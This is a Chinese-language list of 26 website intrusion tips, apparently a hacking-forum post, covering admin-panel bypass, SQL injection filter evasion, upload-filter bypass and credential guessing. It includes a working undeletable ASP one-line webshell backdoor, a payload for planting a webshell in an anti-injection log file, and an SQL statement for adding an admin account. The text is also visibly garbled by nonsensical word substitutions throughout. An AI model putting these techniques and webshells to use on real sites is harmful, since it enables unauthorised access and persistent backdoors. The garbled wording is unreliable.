网站个人渗透技巧收集与计算

1.采取网站过滤不严直接绕过后台验证,在网站背后加上 admin/session.asp 或
admin/left.asp

2.有的网站进后台会晤世一个本子提示框,输入:administrator
即可突破!admin代表以管理员身份进入的情趣。

3.有的网站开了3389,侵袭此前先去老是3389,尝试弱口令或是爆破,再者就是按5次shift键,看看有没前人装过后门,然后再社工密码。

4.有时候进后台会弹出提醒框“请登陆”,把地方抄写出来(复制不了),然后放在网页源代码分析器里,拔取浏览器-拦截跳转勾选–查看即可进入后台!

5.突破防盗链访问webshell,代码:

 

javascript:document.write("<a href='http://www.xxx.com/uploadfile/1.asp'>fuck</a>")

 

回车后点击GO即可进入webshell

6.突破一级音信监控拦截系统访问,当小马可(英文名:mǎ kě)以访问,上传马来西亚却相当的时候,可以先用大马跟一张图片合并,在上传合并后的图片,接着数据库备份后走访即可!

7.在拿编辑器的shell时,有时增添了asp|asa|cer|php|aspx等增添名上传时都被过滤了,其实假如增添aaspsp
上传asp就会突破了。

8.偶然啊D猜出表段了,不过猜不到字段的时候,可以到后台查看源文件,搜索ID或type,一般都能找到,再到啊D里添加字段进行猜解内容即可突破。

9.社工后台密码可以用那个技能,借使网站域名是:exehack.Net
管理员名称为admin,可以尝试密码“exehack”和“exehack.net”来登陆。

10.手工注入时只要网站过滤了 and 1=1   and 1=2 ,可以用xor 1=1   xor 1=2
举办判定。

11.本土构造上传一句话木马,如若提醒“请先拔取你要上传的文书![ 重新上传
]”
,表达文件太小了,用记事本打开再复制多几句话从而扩充文件大小,再上传即可。

12.用啊d跑表,跑字段名name和pass出不来,彰显长度当先50怎么样的,猜解不出的情景下,那时放在穿山甲去跑一般都能跑出去!

13.猜总指挥后台小技巧,admin/left.asp、admin/main.asp、admin/top.asp、admin/admin.asp
会现出菜单导航,然后迅雷下载全体链接。

14.明白表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句:

Insert into admin(user,pwd) values('test','test')

15.当得到管理员密码,却拿不到管理员的帐号时,到前台随便打开一个情报,找找诸如“提交者”“公布者”之类的字眼,一般“提交者”就是协会者的帐号了。

16.爆破ASP+IIS架设的网站web绝对路径,假如网站主页为:http://www.xxxxx/index.asp/
提交http://www.xxxxx.cn/fkbhvv.aspx/,fkbhvv.aspx是不存在的。

17.源码的拔取,很多网站用的都是网上下载的源码,有的站长很懒,什么也不改,然后就上传开通网站了,大家可以去下载一套,里面有比比皆是默许的音讯值得利用。

18.把以下代码上传到webshell里,后缀是asp,尽管别人发现了也删除不了,算是一流防删的一句话木马了,可以很安全的留个后门,菜刀连接密码:x

<%Eval(Request(chr(120))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if  f.attributes <> 39 then:f.attributes = 39:end if%>

19.当破解出帐号密码却找不到后台的时候,可以品味链接ftp,假诺域名是:www.baidu.com
“ 获得的密码为“bishi”,大家就能够试下用“xxxx”“xxxx.cn”www.xxxx.cn作为FTP
用户名,用“bishi”:作为FTP密码来拓展登陆,成功的几率得以很大的哦!ftp的默认端口:21
 默许帐号密码:test

20.有的后台不突显验证码,难道就无可怎么着登录了么?
其实把一段代码导入注册表里就足以突破那几个困境了,把下边的代码保存为Code.reg,双击导入就足以了!

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
"BlockXBM"=dword:00000000

21.当网站不容许上传
asp、asa、php等公事时,我们得以上传一个stm文件,代码为:

“<!--#include file=”conn.asp”-->”

(想查看什么文件就写什么文件名,这里自己假诺想查看“conn.asp”),
下一场直接打开那么些stm文件的地点,再查看源代码,“conn.asp”这一个文件的代码就一目领会了!

22.当网站不允许上传ASP,CGI,CER,CDX,HTR等类型的文件时,尝试上传一个shtm文件,内容为:

<!--#includ file="conn.asp"-->

  

假如上传成功,那太好了,访问地址就足以浏览conn.asp里的内容了,那样一来,数据库路径也就到手啊!

23.手工检测注入点弹出“你的操作已被记录!”之类的音信,访问那些文件:sqlin.asp,要是存在,在注入点前面植入一句话木马:
‘excute(request(“TNT”))
进而用一句话木马客户端连接:http://www.xxx.com/sqlin.asp,上传木马即可拿下shell,因为很多防注入程序都是用”sqlin.asp“这个文件名来做非法记录的数据库。

24.旁注的话,肯定是挑援救aspx的站点来日了,难点是怎么判断呢?方法很粗略,在在网站背后加上xxx.aspx,假使回到“/”应用程序中的服务器错误,不可以找到该资源,404镜头就印证协助aspx木马。

25.网站后边加test.php 可以查阅版本

26.禁忌那多个网站后台文件 admin_index.asp  manage_login.asp

 

相关文章